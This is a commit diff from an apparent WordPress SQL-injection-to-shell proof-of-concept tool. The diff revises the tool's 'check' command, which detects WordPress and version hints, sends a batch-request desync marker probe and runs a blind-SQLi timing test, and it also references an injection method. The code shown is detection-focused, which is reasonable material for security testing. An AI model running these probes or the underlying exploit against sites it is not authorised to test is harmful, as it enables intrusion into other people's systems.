mirror of
https://github.com/Icex0/wp2shell-poc
synced 2026-07-18 19:05:08 +00:00
Check version first before sleep check
This commit is contained in:
@@ -68,11 +68,17 @@ Or `pip install .` to get a `wp2shell` command on your `PATH`.
|
||||
|
||||
### check — confirm the vulnerability (safe)
|
||||
|
||||
Confirms exploitability with paired differential time delays. It reads no data and changes
|
||||
nothing. By default it sends three baseline/delayed pairs and decides on the median delta, which
|
||||
is more reliable on noisy or rate-limited targets than a single timing comparison. If timing
|
||||
confirmation fails, `check` also looks for passive public WordPress version hints from the REST API
|
||||
generator, the homepage generator meta tag, and core asset `?ver=` query strings.
|
||||
Prints passive WordPress markers and public version hints first, then sends a benign batch marker
|
||||
probe. If the batch route behaves like WordPress, the probe should return HTTP 207 with markers
|
||||
such as `parse_path_failed`, `block_cannot_read`, or `rest_batch_not_allowed`. After that, `check`
|
||||
tries a paired timing confirmation. The timing step reads no data and changes nothing. By default
|
||||
it sends three baseline/delayed pairs and decides on the median delta, which is more reliable on
|
||||
noisy or rate-limited targets than a single timing comparison.
|
||||
|
||||
Treat the signals separately: an affected public version is strong triage evidence, while timing
|
||||
confirmation proves the SQLi path reached the database. A WAF or edge rule can block the timing
|
||||
payload, so a failed timing check is reported as "not timing-confirmed" rather than a clean bill of
|
||||
health.
|
||||
|
||||
```
|
||||
./wp2shell.py check http://target
|
||||
|
||||
+25
-9
@@ -11,7 +11,7 @@ from . import __version__
|
||||
from .client import BatchClient
|
||||
from .shell import AdminSession
|
||||
from .sqli import BlindSQLi
|
||||
from .version import public_version_hints, version_status
|
||||
from .version import public_version_hints, version_status, wordpress_markers
|
||||
|
||||
try:
|
||||
import readline # noqa: F401 - enables line editing/history for the interactive prompt
|
||||
@@ -69,11 +69,20 @@ def _short(text: str, *, limit: int = 96) -> str:
|
||||
return text[: limit - 3] + "..."
|
||||
|
||||
|
||||
def _print_version_hints(client: BatchClient) -> None:
|
||||
def _print_wordpress_markers(client: BatchClient) -> tuple:
|
||||
markers = wordpress_markers(client)
|
||||
if markers:
|
||||
info(f"WordPress markers found ({' / '.join(markers)})")
|
||||
else:
|
||||
warn("No public WordPress markers found.")
|
||||
return markers
|
||||
|
||||
|
||||
def _print_version_hints(client: BatchClient) -> tuple:
|
||||
hints = public_version_hints(client)
|
||||
if not hints:
|
||||
warn("No public WordPress version hints found.")
|
||||
return
|
||||
return hints
|
||||
|
||||
info("Public WordPress version hints:")
|
||||
for hint in hints:
|
||||
@@ -83,6 +92,7 @@ def _print_version_hints(client: BatchClient) -> None:
|
||||
)
|
||||
if any(hint.affected for hint in hints):
|
||||
warn("A public version hint falls in the wp2shell affected range; verify internally or confirm with authorization.")
|
||||
return hints
|
||||
|
||||
|
||||
# -- commands ---------------------------------------------------------------
|
||||
@@ -96,12 +106,18 @@ def cmd_check(args: argparse.Namespace) -> int:
|
||||
rest_route=args.rest_route,
|
||||
proxy=args.proxy,
|
||||
)
|
||||
probe = client.probe()
|
||||
_print_wordpress_markers(client)
|
||||
hints = _print_version_hints(client)
|
||||
|
||||
probe = client.marker_probe()
|
||||
if probe.status != 207:
|
||||
bad(f"Batch endpoint returned HTTP {probe.status} (not 207) — patched or REST API disabled.")
|
||||
_print_version_hints(client)
|
||||
return 1
|
||||
good("Batch endpoint reachable and unauthenticated (HTTP 207).")
|
||||
markers = client.batch_marker_codes(probe)
|
||||
if markers:
|
||||
good(f"Batch probe -> HTTP 207; markers matched: {', '.join(markers)}")
|
||||
else:
|
||||
good("Batch endpoint reachable and unauthenticated (HTTP 207).")
|
||||
|
||||
result = BlindSQLi(client, sleep=args.sleep).confirm_timing(samples=args.samples)
|
||||
if args.samples > 1:
|
||||
@@ -112,10 +128,10 @@ def cmd_check(args: argparse.Namespace) -> int:
|
||||
info(f"Median delta {result.delta:.2f}s; threshold {result.threshold:.2f}s.")
|
||||
if result.confirmed:
|
||||
good(f"VULNERABLE — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.")
|
||||
_print_version_hints(client)
|
||||
return 0
|
||||
bad(f"Not vulnerable — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.")
|
||||
_print_version_hints(client)
|
||||
bad(f"Not timing-confirmed — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.")
|
||||
if any(hint.affected for hint in hints):
|
||||
warn("Version suggests exposure, but the timing payload did not execute or was blocked.")
|
||||
return 2
|
||||
|
||||
|
||||
|
||||
@@ -16,6 +16,7 @@ from typing import Any, Optional
|
||||
# under the following sub-request's handler. Any parse_url()-rejecting string works; "///" is
|
||||
# used so it cannot be mistaken for a network target.
|
||||
_DESYNC_PRIMER = {"method": "POST", "path": "///"}
|
||||
_BATCH_MARKER_CODES = ("parse_path_failed", "block_cannot_read", "rest_batch_not_allowed")
|
||||
|
||||
|
||||
class TargetError(Exception):
|
||||
@@ -97,6 +98,41 @@ class BatchClient:
|
||||
"""A benign empty batch, used to test whether the endpoint is reachable and open."""
|
||||
return self.post({"requests": []})
|
||||
|
||||
def marker_probe(self) -> Response:
|
||||
"""A benign batch that should produce stable WordPress REST error markers."""
|
||||
return self.post(
|
||||
{
|
||||
"requests": [
|
||||
_DESYNC_PRIMER,
|
||||
{"method": "POST", "path": "/wp/v2/block-renderer/core/archives"},
|
||||
{"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
|
||||
]
|
||||
}
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def batch_marker_codes(response: Response) -> tuple:
|
||||
try:
|
||||
body = response.json()
|
||||
except ValueError:
|
||||
return ()
|
||||
|
||||
found = []
|
||||
|
||||
def walk(value) -> None:
|
||||
if isinstance(value, dict):
|
||||
code = value.get("code")
|
||||
if code in _BATCH_MARKER_CODES and code not in found:
|
||||
found.append(code)
|
||||
for child in value.values():
|
||||
walk(child)
|
||||
elif isinstance(value, list):
|
||||
for child in value:
|
||||
walk(child)
|
||||
|
||||
walk(body)
|
||||
return tuple(found)
|
||||
|
||||
def inject(self, author_not_in: str) -> Response:
|
||||
"""Send a payload placing `author_not_in` into the WP_Query author__not_in clause."""
|
||||
return self.post(self._payload(author_not_in))
|
||||
|
||||
+25
-19
@@ -27,7 +27,6 @@ class _HomepageParser(HTMLParser):
|
||||
def __init__(self) -> None:
|
||||
super().__init__()
|
||||
self.meta_generators = []
|
||||
self.assets = []
|
||||
|
||||
def handle_starttag(self, tag: str, attrs: Iterable[Tuple[str, Optional[str]]]) -> None:
|
||||
values = {name.lower(): value for name, value in attrs if value is not None}
|
||||
@@ -35,11 +34,6 @@ class _HomepageParser(HTMLParser):
|
||||
content = values.get("content")
|
||||
if content:
|
||||
self.meta_generators.append(content)
|
||||
return
|
||||
if tag.lower() in ("link", "script"):
|
||||
asset = values.get("href") or values.get("src")
|
||||
if asset:
|
||||
self.assets.append(asset)
|
||||
|
||||
|
||||
def public_version_hints(client: BatchClient) -> Tuple[VersionHint, ...]:
|
||||
@@ -84,12 +78,35 @@ def public_version_hints(client: BatchClient) -> Tuple[VersionHint, ...]:
|
||||
parser.feed(response.body)
|
||||
for generator in parser.meta_generators:
|
||||
add(_version_from_wordpress_text(generator), "HTML generator meta", generator)
|
||||
for asset in parser.assets:
|
||||
add(_version_from_core_asset(asset), "core asset query string", asset)
|
||||
|
||||
return tuple(hints)
|
||||
|
||||
|
||||
def wordpress_markers(client: BatchClient) -> Tuple[str, ...]:
|
||||
markers = []
|
||||
|
||||
response = _get(client, "/")
|
||||
if response is not None and response.status < 400:
|
||||
if "wp-content/" in response.body and "wp-content" not in markers:
|
||||
markers.append("wp-content")
|
||||
if "wp-includes/" in response.body and "wp-includes" not in markers:
|
||||
markers.append("wp-includes")
|
||||
|
||||
for path in ("/wp-json/", "/?rest_route=/"):
|
||||
response = _get(client, path)
|
||||
if response is None or response.status >= 400:
|
||||
continue
|
||||
try:
|
||||
body = response.json()
|
||||
except json.JSONDecodeError:
|
||||
body = None
|
||||
if isinstance(body, dict) and ("routes" in body or "wp/v2" in response.body):
|
||||
if "wp-json" not in markers:
|
||||
markers.append("wp-json")
|
||||
|
||||
return tuple(markers)
|
||||
|
||||
|
||||
def is_affected_version(version: str) -> bool:
|
||||
parsed = _parse_version(version)
|
||||
if parsed is None:
|
||||
@@ -124,17 +141,6 @@ def _version_from_wordpress_text(value: str) -> Optional[str]:
|
||||
return _normalize_version(match.group(1)) if match else None
|
||||
|
||||
|
||||
def _version_from_core_asset(value: str) -> Optional[str]:
|
||||
parsed = urllib.parse.urlparse(value)
|
||||
if "/wp-includes/" not in parsed.path and "/wp-admin/" not in parsed.path:
|
||||
return None
|
||||
for version in urllib.parse.parse_qs(parsed.query).get("ver", []):
|
||||
normalized = _normalize_version(version)
|
||||
if normalized:
|
||||
return normalized
|
||||
return None
|
||||
|
||||
|
||||
def _normalize_version(value: str) -> Optional[str]:
|
||||
match = _VERSION_RE.search(value)
|
||||
return match.group(1) if match else None
|
||||
|
||||
Reference in New Issue
Block a user